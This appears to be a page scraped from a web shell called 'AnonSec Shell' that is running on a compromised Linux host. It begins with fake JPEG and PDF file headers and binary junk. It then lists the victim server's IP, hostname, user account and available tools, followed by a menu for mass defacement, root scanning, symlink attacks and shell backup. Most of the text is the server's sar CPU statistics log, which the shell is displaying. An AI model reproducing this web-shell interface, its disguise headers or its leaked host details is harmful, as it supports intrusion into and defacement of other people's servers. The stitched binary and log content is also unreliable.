ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/log/sa/sar10
Linux 4.18.0-553.64.1.el8_10.x86_64 (hcomm124.dns-wk.info) 	2025-09-10 	_x86_64_	(12 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all      0.86      8.40      0.97      0.43      0.00      0.09      0.43      0.00      0.00     88.83
00:10:00          0      0.84     17.80      1.39      0.19      0.00      0.10      0.04      0.00      0.00     79.65
00:10:00          1      1.20      1.47      0.70      0.19      0.00      0.05      0.03      0.00      0.00     96.37
00:10:00          2      0.93      2.83      1.12      1.06      0.00      0.08      0.02      0.00      0.00     93.95
00:10:00          3      1.07      3.26      1.02      0.31      0.00      0.04      0.02      0.00      0.00     94.28
00:10:00          4      0.67      9.61      0.90      0.33      0.00      0.05      0.02      0.00      0.00     88.42
00:10:00          5      1.07     21.21      1.45      0.65      0.00      0.08      0.02      0.00      0.00     75.51
00:10:00          6      0.43      4.02      0.93      0.57      0.00      0.06      0.01      0.00      0.00     93.97
00:10:00          7      0.83      2.64      0.79      1.05      0.00      0.06      0.01      0.00      0.00     94.61
00:10:00          8      0.94      1.67      0.47      0.10      0.00      0.36      4.90      0.00      0.00     91.56
00:10:00          9      0.91      3.02      0.73      0.35      0.00      0.06      0.02      0.00      0.00     94.91
00:10:00         10      0.77     13.95      1.01      0.13      0.00      0.05      0.02      0.00      0.00     84.06
00:10:00         11      0.60     19.29      1.14      0.18      0.00      0.06      0.01      0.00      0.00     78.71
00:20:00        all      0.79      8.24      0.99      0.61      0.00      0.09      0.43      0.00      0.00     88.84
00:20:00          0      1.09     25.74      1.47      0.29      0.00      0.09      0.04      0.00      0.00     71.28
00:20:00          1      0.70      7.56      0.89      0.18      0.00      0.06      0.03      0.00      0.00     90.59
00:20:00          2      0.87      4.00      1.35      1.12      0.00      0.09      0.03      0.00      0.00     92.54
00:20:00          3      0.93      4.15      1.06      0.34      0.00      0.05      0.02      0.00      0.00     93.46
00:20:00          4      0.64      5.45      0.83      1.09      0.00      0.07      0.02      0.00      0.00     91.91
00:20:00          5      1.00      5.54      0.97      0.74      0.00      0.07      0.02      0.00      0.00     91.67
00:20:00          6      0.30      3.68      0.71      1.68      0.00      0.07      0.02      0.00      0.00     93.55
00:20:00          7      0.67      8.27      0.95      0.77      0.00      0.07      0.02      0.00      0.00     89.25
00:20:00          8      0.53      3.69      0.57      0.28      0.00      0.39      5.00      0.00      0.00     89.54
00:20:00          9      1.32      2.21      0.58      0.23      0.00      0.05      0.01      0.00      0.00     95.59
00:20:00         10      0.47     13.19      1.09      0.36      0.00      0.07      0.01      0.00      0.00     84.80
00:20:00         11      0.99     15.36      1.42      0.25      0.00      0.07      0.01      0.00      0.00     81.90
00:30:00        all      1.00      8.11      0.88      0.39      0.00      0.08      0.40      0.00      0.00     89.12
00:30:00          0      1.20     10.40      1.10      0.49      0.00      0.09      0.04      0.00      0.00     86.69
00:30:00          1      1.09      8.48      0.96      0.19      0.00      0.05      0.02      0.00      0.00     89.20
00:30:00          2      1.25      3.08      0.81      0.43      0.00      0.05      0.02      0.00      0.00     94.36
00:30:00          3      1.03      4.26      1.07      0.32      0.00      0.05      0.02      0.00      0.00     93.24
00:30:00          4      1.14     14.69      0.99      0.12      0.00      0.06      0.02      0.00      0.00     82.99
00:30:00          5      0.75     14.06      1.17      1.04      0.00      0.09      0.02      0.00      0.00     82.88
00:30:00          6      0.72      2.35      0.65      0.69      0.00      0.05      0.02      0.00      0.00     95.53
00:30:00          7      0.87      7.66      0.77      0.28      0.00      0.04      0.01      0.00      0.00     90.36
00:30:00          8      1.13      7.71      0.80      0.31      0.00      0.31      4.63      0.00      0.00     85.12
00:30:00          9      1.09      4.01      0.73      0.17      0.00      0.05      0.02      0.00      0.00     93.94
00:30:00         10      0.84      8.60      0.66      0.14      0.00      0.07      0.01      0.00      0.00     89.67
00:30:00         11      0.91     12.07      0.91      0.49      0.00      0.06      0.01      0.00      0.00     85.53
00:40:00        all      0.84      6.89      0.82      0.43      0.00      0.08      0.39      0.00      0.00     90.55
00:40:00          0      1.55     10.42      0.99      0.28      0.00      0.08      0.04      0.00      0.00     86.65
00:40:00          1      0.69      8.10      0.83      0.38      0.00      0.06      0.02      0.00      0.00     89.92
00:40:00          2      0.87      2.60      0.84      0.42      0.00      0.07      0.02      0.00      0.00     95.18
00:40:00          3      0.79      2.72      0.98      0.80      0.00      0.05      0.02      0.00      0.00     94.65
00:40:00          4      0.86     15.81      1.14      0.36      0.00      0.08      0.01      0.00      0.00     81.74
00:40:00          5      0.66      9.91      1.00      1.03      0.00      0.07      0.02      0.00      0.00     87.30
00:40:00          6      0.46      2.39      0.80      0.57      0.00      0.05      0.02      0.00      0.00     95.72
00:40:00          7      0.49     10.72      0.74      0.59      0.00      0.06      0.01      0.00      0.00     87.38
00:40:00          8      0.82      1.25      0.35      0.03      0.00      0.30      4.54      0.00      0.00     92.71
00:40:00          9      1.34      3.61      0.77      0.37      0.00      0.05      0.02      0.00      0.00     93.85
00:40:00         10      0.58      9.01      0.65      0.11      0.00      0.05      0.01      0.00      0.00     89.59
00:40:00         11      0.92      6.20      0.72      0.22      0.00      0.04      0.02      0.00      0.00     91.89
00:50:00        all      1.41      7.66      0.93      0.24      0.00      0.08      0.45      0.00      0.00     89.23
00:50:00          0      1.97      4.36      1.17      0.45      0.00      0.08      0.04      0.00      0.00     91.93
00:50:00          1      1.51     10.19      1.04      0.30      0.00      0.06      0.03      0.00      0.00     86.87
00:50:00          2      1.54      4.72      0.95      0.26      0.00      0.06      0.02      0.00      0.00     92.44
00:50:00          3      1.41      1.81      0.92      0.14      0.00      0.06      0.02      0.00      0.00     95.64
00:50:00          4      1.46     18.09      1.20      0.21      0.00      0.05      0.01      0.00      0.00     78.98
00:50:00          5      1.30      3.32      0.66      0.26      0.00      0.08      0.02      0.00      0.00     94.34
00:50:00          6      0.86      1.46      0.57      0.13      0.00      0.04      0.02      0.00      0.00     96.91
00:50:00          7      1.31     14.75      1.24      0.38      0.00      0.05      0.01      0.00      0.00     82.25
00:50:00          8      0.86     14.43      1.03      0.16      0.00      0.34      5.16      0.00      0.00     78.02
00:50:00          9      1.50      0.38      0.64      0.23      0.00      0.05      0.02      0.00      0.00     97.18
00:50:00         10      1.14      9.07      0.80      0.18      0.00      0.05      0.01      0.00      0.00     88.75
00:50:00         11      2.07      9.32      0.89      0.17      0.00      0.06      0.02      0.00      0.00     87.48
01:00:01        all      2.18      7.88      0.75      0.19      0.00      0.07      0.30      0.00      0.00     88.63
01:00:01          0      3.16      7.18      0.77      0.13      0.00      0.08      0.04      0.00      0.00     88.64
01:00:01          1      2.21      2.97      0.49      0.07      0.00      0.05      0.03      0.00      0.00     94.17
01:00:01          2      2.33      4.07      0.50      0.27      0.00      0.05      0.02      0.00      0.00     92.77
01:00:01          3      2.06      0.84      0.77      0.10      0.00      0.05      0.02      0.00      0.00     96.17
01:00:01          4      2.21      0.83      0.63      0.35      0.00      0.05      0.02      0.00      0.00     95.91
01:00:01          5      1.43     30.16      1.22      0.07      0.00      0.06      0.02      0.00      0.00     67.04
01:00:01          6      1.41      1.48      0.48      0.46      0.00      0.07      0.02      0.00      0.00     96.09
01:00:01          7      2.19     13.20      0.86      0.18      0.00      0.05      0.02      0.00      0.00     83.50
01:00:01          8      2.19      6.78      0.92      0.16      0.00      0.14      3.38      0.00      0.00     86.44
01:00:01          9      1.88      0.33      0.62      0.23      0.00      0.06      0.03      0.00      0.00     96.85
01:00:01         10      3.32      0.00      0.53      0.10      0.00      0.07      0.02      0.00      0.00     95.96
01:00:01         11      1.75     26.73      1.18      0.15      0.00      0.07      0.02      0.00      0.00     70.11
01:10:01        all      2.39      7.66      0.83      0.39      0.00      0.07      0.31      0.00      0.00     88.35
01:10:01          0      3.88     13.51      1.21      0.40      0.00      0.09      0.05      0.00      0.00     80.86
01:10:01          1      2.24      2.00      0.82      0.51      0.00      0.08      0.04      0.00      0.00     94.33
01:10:01          2      2.56      2.58      0.69      0.70      0.00      0.08      0.03      0.00      0.00     93.37
01:10:01          3      1.76      6.46      0.93      0.24      0.00      0.06      0.02      0.00      0.00     90.53
01:10:01          4      3.23      5.87      0.74      0.33      0.00      0.05      0.02      0.00      0.00     89.76
01:10:01          5      1.49     16.50      0.95      0.49      0.00      0.07      0.02      0.00      0.00     80.48
01:10:01          6      1.33      3.61      0.46      0.08      0.00      0.04      0.02      0.00      0.00     94.47
01:10:01          7      2.94      2.74      0.65      0.70      0.00      0.06      0.02      0.00      0.00     92.90
01:10:01          8      2.09      4.59      0.75      0.14      0.00      0.14      3.41      0.00      0.00     88.88
01:10:01          9      2.59      5.11      0.76      0.44      0.00      0.06      0.02      0.00      0.00     91.02
01:10:01         10      2.25      4.74      0.75      0.35      0.00      0.09      0.02      0.00      0.00     91.81
01:10:01         11      2.35     24.25      1.23      0.29      0.00      0.08      0.02      0.00      0.00     71.79
01:20:01        all      0.77      9.02      1.12      0.27      0.00      0.10      0.62      0.00      0.00     88.10
01:20:01          0      0.99     20.93      1.53      0.09      0.00      0.09      0.04      0.00      0.00     76.31
01:20:01          1      0.59      9.84      1.02      0.17      0.00      0.07      0.03      0.00      0.00     88.28
01:20:01          2      1.02      3.36      1.37      0.25      0.00      0.06      0.03      0.00      0.00     93.91
01:20:01          3      0.76      4.85      1.34      0.41      0.00      0.07      0.02      0.00      0.00     92.55
01:20:01          4      0.92     14.43      1.22      0.34      0.00      0.06      0.02      0.00      0.00     83.01
01:20:01          5      0.52     11.86      1.20      0.54      0.00      0.06      0.02      0.00      0.00     85.79
01:20:01          6      0.80      3.92      0.84      0.52      0.00      0.06      0.02      0.00      0.00     93.83
01:20:01          7      0.53     17.94      1.63      0.26      0.00      0.06      0.01      0.00      0.00     79.56
01:20:01          8      0.58      0.21      0.58      0.15      0.00      0.54      7.13      0.00      0.00     90.80
01:20:01          9      1.22      2.52      0.81      0.20      0.00      0.05      0.02      0.00      0.00     95.17
01:20:01         10      0.54     11.68      0.82      0.13      0.00      0.05      0.01      0.00      0.00     86.75
01:20:01         11      0.81      6.70      1.01      0.17      0.00      0.06      0.02      0.00      0.00     91.24
01:30:01        all      0.66      7.50      0.63      0.51      0.00      0.06      0.21      0.00      0.00     90.42
01:30:01          0      0.38     25.57      1.19      0.62      0.00      0.09      0.02      0.00      0.00     72.13
01:30:01          1      0.71      1.96      0.40      0.18      0.00      0.05      0.02      0.00      0.00     96.69
01:30:01          2      0.87      1.28      0.56      1.50      0.00      0.07      0.02      0.00      0.00     95.72
01:30:01          3      0.60      2.79      0.72      0.12      0.00      0.04      0.02      0.00      0.00     95.71
01:30:01          4      0.56     13.41      0.77      0.82      0.00      0.09      0.01      0.00      0.00     84.35
01:30:01          5      0.49     12.91      0.77      0.57      0.00      0.07      0.02      0.00      0.00     85.18
01:30:01          6      0.35      3.76      0.45      0.55      0.00      0.04      0.01      0.00      0.00     94.84
01:30:01          7      0.70      1.56      0.31      0.15      0.00      0.03      0.01      0.00      0.00     97.25
01:30:01          8      0.92      5.94      0.65      0.29      0.00      0.12      2.31      0.00      0.00     89.77
01:30:01          9      0.95      1.37      0.46      0.34      0.00      0.05      0.02      0.00      0.00     96.81
01:30:01         10      0.75     11.25      0.66      0.14      0.00      0.05      0.01      0.00      0.00     87.15
01:30:01         11      0.71      8.18      0.68      0.91      0.00      0.06      0.01      0.00      0.00     89.45
01:40:01        all      1.76      6.92      0.83      0.98      0.00      0.08      0.24      0.00      0.00     89.18
01:40:01          0      2.89      7.37      0.97      1.03      0.00      0.11      0.04      0.00      0.00     87.60
01:40:01          1      1.20     10.49      0.81      0.65      0.00      0.07      0.03      0.00      0.00     86.75
01:40:01          2      0.96      4.28      0.59      0.89      0.00      0.07      0.02      0.00      0.00     93.19
01:40:01          3      1.19      4.44      0.78      0.14      0.00      0.05      0.02      0.00      0.00     93.37
01:40:01          4      1.48      7.97      0.61      0.10      0.00      0.04      0.02      0.00      0.00     89.78
01:40:01          5      1.55      1.45      1.10      3.34      0.00      0.15      0.03      0.00      0.00     92.39
01:40:01          6      2.03      1.93      0.73      2.24      0.00      0.10      0.02      0.00      0.00     92.95
01:40:01          7      1.41     11.21      0.68      0.32      0.00      0.06      0.02      0.00      0.00     86.31
01:40:01          8      1.53     14.99      1.32      0.84      0.00      0.14      2.65      0.00      0.00     78.52
01:40:01          9      1.59      3.63      0.46      0.27      0.00      0.05      0.02      0.00      0.00     93.98
01:40:01         10      1.93     12.55      1.10      1.32      0.00      0.10      0.02      0.00      0.00     82.97
01:40:01         11      3.37      2.69      0.78      0.68      0.00      0.07      0.02      0.00      0.00     92.39
01:50:01        all      0.94      7.78      0.63      0.23      0.00      0.05      0.20      0.00      0.00     90.17
01:50:01          0      1.21     17.40      0.89      0.12      0.00      0.07      0.02      0.00      0.00     80.29
01:50:01          1      1.10      6.91      0.60      0.17      0.00      0.05      0.02      0.00      0.00     91.16
01:50:01          2      0.79      4.20      0.52      0.63      0.00      0.05      0.01      0.00      0.00     93.81
01:50:01          3      1.00      0.31      0.60      0.21      0.00      0.05      0.01      0.00      0.00     97.82
01:50:01          4      0.84      5.19      0.54      0.09      0.00      0.04      0.02      0.00      0.00     93.29
01:50:01          5      0.61      3.17      0.51      0.27      0.00      0.06      0.02      0.00      0.00     95.37
01:50:01          6      0.65      2.36      0.29      0.10      0.00      0.03      0.01      0.00      0.00     96.55
01:50:01          7      0.90      7.15      0.51      0.27      0.00      0.04      0.01      0.00      0.00     91.13
01:50:01          8      0.80     27.54      1.41      0.05      0.00      0.12      2.23      0.00      0.00     67.87
01:50:01          9      1.44      1.36      0.35      0.19      0.00      0.04      0.01      0.00      0.00     96.60
01:50:01         10      1.06     13.83      0.81      0.24      0.00      0.05      0.01      0.00      0.00     84.00
01:50:01         11      0.91      3.94      0.54      0.38      0.00      0.06      0.02      0.00      0.00     94.16

01:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all      0.72      7.87      0.62      0.21      0.00      0.06      0.23      0.00      0.00     90.31
02:00:01          0      0.65     30.28      1.27      0.18      0.00      0.09      0.02      0.00      0.00     67.51
02:00:01          1      0.73     15.54      0.84      0.12      0.00      0.05      0.02      0.00      0.00     82.70
02:00:01          2      0.55      1.47      0.46      0.53      0.00      0.05      0.02      0.00      0.00     96.92
02:00:01          3      0.59      0.58      0.65      0.22      0.00      0.04      0.01      0.00      0.00     97.90
02:00:01          4      0.77      3.90      0.38      0.08      0.00      0.04      0.01      0.00      0.00     94.82
02:00:01          5      1.06      1.57      0.41      0.06      0.00      0.03      0.02      0.00      0.00     96.86
02:00:01          6      0.45      2.70      0.34      0.12      0.00      0.04      0.02      0.00      0.00     96.33
02:00:01          7      0.39     23.23      0.92      0.33      0.00      0.05      0.01      0.00      0.00     75.07
02:00:01          8      0.51      3.92      0.47      0.07      0.00      0.12      2.54      0.00      0.00     92.37
02:00:01          9      0.89      6.02      0.50      0.32      0.00      0.06      0.01      0.00      0.00     92.20
02:00:01         10      0.93      2.52      0.48      0.19      0.00      0.07      0.01      0.00      0.00     95.80
02:00:01         11      1.10      2.68      0.68      0.28      0.00      0.04      0.02      0.00      0.00     95.20
02:10:01        all      0.90      7.83      0.66      0.23      0.00      0.06      0.23      0.00      0.00     90.09
02:10:01          0      1.27     23.09      1.19      0.11      0.00      0.07      0.03      0.00      0.00     74.25
02:10:01          1      1.05      9.94      0.75      0.17      0.00      0.06      0.03      0.00      0.00     88.00
02:10:01          2      0.69      3.05      0.38      0.25      0.00      0.04      0.02      0.00      0.00     95.58
02:10:01          3      0.50      2.35      0.61      0.10      0.00      0.04      0.01      0.00      0.00     96.39
02:10:01          4      0.66      3.30      0.45      0.11      0.00      0.04      0.02      0.00      0.00     95.42
02:10:01          5      0.87      4.77      0.63      0.48      0.00      0.06      0.02      0.00      0.00     93.18
02:10:01          6      0.51      3.52      0.39      0.42      0.00      0.05      0.01      0.00      0.00     95.11
02:10:01          7      0.75     14.16      0.73      0.18      0.00      0.05      0.01      0.00      0.00     84.13
02:10:01          8      0.86     14.83      1.06      0.25      0.00      0.13      2.58      0.00      0.00     80.29
02:10:01          9      1.08      4.61      0.56      0.24      0.00      0.05      0.02      0.00      0.00     93.44
02:10:01         10      0.94      7.13      0.70      0.17      0.00      0.07      0.02      0.00      0.00     90.97
02:10:01         11      1.63      3.17      0.53      0.29      0.00      0.04      0.02      0.00      0.00     94.32
02:20:00        all      0.83      7.88      0.63      0.19      0.00      0.06      0.22      0.00      0.00     90.19
02:20:00          0      0.86     14.63      0.90      0.11      0.00      0.06      0.03      0.00      0.00     83.41
02:20:00          1      0.59     17.49      0.78      0.10      0.00      0.06      0.02      0.00      0.00     80.96
02:20:00          2      0.77      2.33      0.43      0.10      0.00      0.04      0.02      0.00      0.00     96.31
02:20:00          3      0.88      2.23      0.69      0.38      0.00      0.04      0.02      0.00      0.00     95.77
02:20:00          4      0.94      1.40      0.34      0.19      0.00      0.03      0.02      0.00      0.00     97.08
02:20:00          5      0.67      8.08      0.51      0.06      0.00      0.04      0.01      0.00      0.00     90.62
02:20:00          6      0.55      2.19      0.46      0.40      0.00      0.05      0.02      0.00      0.00     96.33
02:20:00          7      0.77     23.99      0.94      0.13      0.00      0.06      0.01      0.00      0.00     74.11
02:20:00          8      1.17      9.54      0.84      0.08      0.00      0.11      2.48      0.00      0.00     85.78
02:20:00          9      0.63      0.52      0.42      0.25      0.00      0.07      0.02      0.00      0.00     98.09
02:20:00         10      1.35      2.36      0.55      0.32      0.00      0.06      0.01      0.00      0.00     95.35
02:20:00         11      0.77      9.75      0.72      0.17      0.00      0.06      0.01      0.00      0.00     88.51
02:30:00        all      0.93      7.90      0.71      0.18      0.00      0.06      0.20      0.00      0.00     90.02
02:30:00          0      1.22     10.64      0.77      0.08      0.00      0.06      0.03      0.00      0.00     87.20
02:30:00          1      0.78     19.17      0.92      0.09      0.00      0.06      0.02      0.00      0.00     78.97
02:30:00          2      0.94      0.57      0.49      0.20      0.00      0.04      0.02      0.00      0.00     97.74
02:30:00          3      0.96      0.01      0.74      0.12      0.00      0.04      0.02      0.00      0.00     98.13
02:30:00          4      1.32      0.01      0.48      0.22      0.00      0.05      0.02      0.00      0.00     97.91
02:30:00          5      0.46     33.59      1.31      0.04      0.00      0.06      0.01      0.00      0.00     64.53
02:30:00          6      0.56      1.03      0.44      0.45      0.00      0.05      0.01      0.00      0.00     97.47
02:30:00          7      0.76     12.60      0.62      0.20      0.00      0.04      0.01      0.00      0.00     85.77
02:30:00          8      0.92      1.87      0.76      0.20      0.00      0.12      2.21      0.00      0.00     93.91
02:30:00          9      1.02      0.02      0.65      0.32      0.00      0.05      0.02      0.00      0.00     97.93
02:30:00         10      1.74      0.03      0.54      0.16      0.00      0.07      0.02      0.00      0.00     97.45
02:30:00         11      0.53     15.28      0.81      0.07      0.00      0.04      0.02      0.00      0.00     83.26
02:40:00        all      0.66      7.87      0.59      0.21      0.00      0.05      0.10      0.00      0.00     90.51
02:40:00          0      0.90     22.81      1.12      0.15      0.00      0.07      0.02      0.00      0.00     74.93
02:40:00          1      0.58      5.29      0.45      0.23      0.00      0.05      0.02      0.00      0.00     93.39
02:40:00          2      0.63      1.42      0.42      0.60      0.00      0.05      0.01      0.00      0.00     96.85
02:40:00          3      0.41      0.27      0.78      0.55      0.00      0.05      0.01      0.00      0.00     97.93
02:40:00          4      0.58     12.88      0.66      0.21      0.00      0.04      0.01      0.00      0.00     85.62
02:40:00          5      0.62      5.62      0.48      0.08      0.00      0.03      0.01      0.00      0.00     93.17
02:40:00          6      0.42      2.91      0.27      0.13      0.00      0.03      0.01      0.00      0.00     96.24
02:40:00          7      0.56      6.62      0.39      0.04      0.00      0.04      0.01      0.00      0.00     92.34
02:40:00          8      0.75     10.21      0.69      0.22      0.00      0.10      1.11      0.00      0.00     86.91
02:40:00          9      0.97      0.01      0.32      0.05      0.00      0.03      0.01      0.00      0.00     98.61
02:40:00         10      0.78     17.05      0.86      0.08      0.00      0.08      0.01      0.00      0.00     81.15
02:40:00         11      0.75      9.38      0.66      0.23      0.00      0.05      0.01      0.00      0.00     88.93
02:50:00        all      2.47      7.70      1.16      0.21      0.00      0.07      0.34      0.00      0.00     88.06
02:50:00          0      2.51     12.81      1.09      0.13      0.00      0.09      0.06      0.00      0.00     83.32
02:50:00          1      2.19     14.71      2.13      0.24      0.00      0.10      0.05      0.00      0.00     80.60
02:50:00          2      3.32      3.54      0.94      0.09      0.00      0.06      0.04      0.00      0.00     92.00
02:50:00          3      2.76      3.90      1.26      0.21      0.00      0.06      0.03      0.00      0.00     91.78
02:50:00          4      3.05      6.07      0.93      0.19      0.00      0.06      0.03      0.00      0.00     89.68
02:50:00          5      2.70      7.04      0.82      0.04      0.00      0.05      0.04      0.00      0.00     89.31
02:50:00          6      2.14      2.42      0.76      0.40      0.00      0.05      0.04      0.00      0.00     94.18
02:50:00          7      2.15     18.85      1.79      0.33      0.00      0.08      0.03      0.00      0.00     76.76
02:50:00          8      1.09      5.84      1.12      0.11      0.00      0.13      3.63      0.00      0.00     88.08
02:50:00          9      2.19      3.41      1.09      0.36      0.00      0.07      0.03      0.00      0.00     92.85
02:50:00         10      2.86      9.34      1.11      0.30      0.00      0.09      0.03      0.00      0.00     86.27
02:50:00         11      2.65      4.46      0.85      0.13      0.00      0.05      0.04      0.00      0.00     91.83
03:00:00        all      0.74     10.34      1.71      0.23      0.00      0.15      0.92      0.00      0.00     85.90
03:00:00          0      0.64     23.84      3.12      0.29      0.00      0.15      0.06      0.00      0.00     71.89
03:00:00          1      0.70     11.94      1.39      0.33      0.00      0.08      0.03      0.00      0.00     85.51
03:00:00          2      0.95     13.19      3.17      0.24      0.00      0.10      0.03      0.00      0.00     82.31
03:00:00          3      0.87      8.18      1.71      0.24      0.00      0.06      0.02      0.00      0.00     88.92
03:00:00          4      0.87     13.98      1.85      0.36      0.00      0.08      0.02      0.00      0.00     82.84
03:00:00          5      1.06      4.51      1.58      0.15      0.00      0.06      0.02      0.00      0.00     92.63
03:00:00          6      0.57      8.34      1.36      0.35      0.00      0.06      0.02      0.00      0.00     89.31
03:00:00          7      0.75     18.17      1.71      0.18      0.00      0.07      0.01      0.00      0.00     79.10
03:00:00          8      0.25      1.28      0.49      0.02      0.00      0.90     10.82      0.00      0.00     86.23
03:00:00          9      0.76      6.20      1.18      0.23      0.00      0.05      0.02      0.00      0.00     91.56
03:00:00         10      0.56     10.90      1.55      0.12      0.00      0.07      0.02      0.00      0.00     86.78
03:00:00         11      0.93      3.51      1.42      0.24      0.00      0.06      0.02      0.00      0.00     93.82
03:10:01        all      3.46     12.46      2.16      0.29      0.00      0.17      1.31      0.00      0.00     80.16
03:10:01          0      4.09     17.99      2.41      0.30      0.00      0.14      0.08      0.00      0.00     74.99
03:10:01          1      2.57     10.72      1.77      0.26      0.00      0.09      0.05      0.00      0.00     84.53
03:10:01          2      5.75     14.17      3.25      0.28      0.00      0.11      0.04      0.00      0.00     76.41
03:10:01          3      2.76      7.66      2.46      0.21      0.00      0.10      0.03      0.00      0.00     86.77
03:10:01          4      3.63     12.67      2.27      0.21      0.00      0.10      0.03      0.00      0.00     81.10
03:10:01          5      4.78     12.56      2.55      0.23      0.00      0.10      0.03      0.00      0.00     79.75
03:10:01          6      3.54      7.43      1.97      0.56      0.00      0.10      0.03      0.00      0.00     86.37
03:10:01          7      2.48     23.87      2.37      0.36      0.00      0.11      0.02      0.00      0.00     70.78
03:10:01          8      0.29      1.01      0.61      0.09      0.00      0.90     15.29      0.00      0.00     81.81
03:10:01          9      3.03     12.47      2.21      0.20      0.00      0.12      0.05      0.00      0.00     81.92
03:10:01         10      3.37     17.14      2.10      0.16      0.00      0.10      0.02      0.00      0.00     77.11
03:10:01         11      5.17     11.81      1.91      0.56      0.00      0.09      0.03      0.00      0.00     80.44
03:20:00        all      1.26      8.67      0.94      0.28      0.00      0.09      0.54      0.00      0.00     88.22
03:20:00          0      2.22     18.74      1.31      0.36      0.00      0.10      0.05      0.00      0.00     77.22
03:20:00          1      1.86      3.85      0.89      0.28      0.00      0.06      0.04      0.00      0.00     93.03
03:20:00          2      1.10      6.38      1.29      0.57      0.00      0.08      0.03      0.00      0.00     90.55
03:20:00          3      1.12      1.77      0.99      0.27      0.00      0.06      0.02      0.00      0.00     95.77
03:20:00          4      1.83      2.45      0.85      0.61      0.00      0.06      0.03      0.00      0.00     94.17
03:20:00          5      0.55     27.14      1.18      0.21      0.00      0.06      0.02      0.00      0.00     70.83
03:20:00          6      1.25      4.03      0.71      0.25      0.00      0.05      0.02      0.00      0.00     93.68
03:20:00          7      1.12      7.17      0.93      0.14      0.00      0.05      0.02      0.00      0.00     90.58
03:20:00          8      0.58      0.65      0.39      0.14      0.00      0.34      6.12      0.00      0.00     91.77
03:20:00          9      1.24      7.10      0.80      0.20      0.00      0.09      0.05      0.00      0.00     90.50
03:20:00         10      1.02      2.45      0.80      0.20      0.00      0.07      0.02      0.00      0.00     95.44
03:20:00         11      1.23     22.36      1.13      0.15      0.00      0.07      0.02      0.00      0.00     75.04
03:30:00        all      0.96      7.76      0.66      0.30      0.00      0.06      0.18      0.00      0.00     90.09
03:30:00          0      1.67      9.99      0.85      0.26      0.00      0.07      0.03      0.00      0.00     87.12
03:30:00          1      1.38      0.02      0.53      0.34      0.00      0.05      0.03      0.00      0.00     97.65
03:30:00          2      1.43      1.43      0.46      0.15      0.00      0.03      0.02      0.00      0.00     96.48
03:30:00          3      0.59      0.54      0.70      0.42      0.00      0.05      0.02      0.00      0.00     97.68
03:30:00          4      0.28     27.38      0.97      0.05      0.00      0.06      0.01      0.00      0.00     71.24
03:30:00          5      0.77      1.25      0.37      0.43      0.00      0.05      0.02      0.00      0.00     97.11
03:30:00          6      0.76      1.30      0.30      0.09      0.00      0.03      0.02      0.00      0.00     97.50
03:30:00          7      1.31      0.00      0.31      0.14      0.00      0.04      0.01      0.00      0.00     98.19
03:30:00          8      1.09      0.52      0.44      0.19      0.00      0.08      1.95      0.00      0.00     95.73
03:30:00          9      1.00      2.26      0.59      0.53      0.00      0.09      0.05      0.00      0.00     95.47
03:30:00         10      0.32     46.94      1.66      0.12      0.00      0.07      0.01      0.00      0.00     50.87
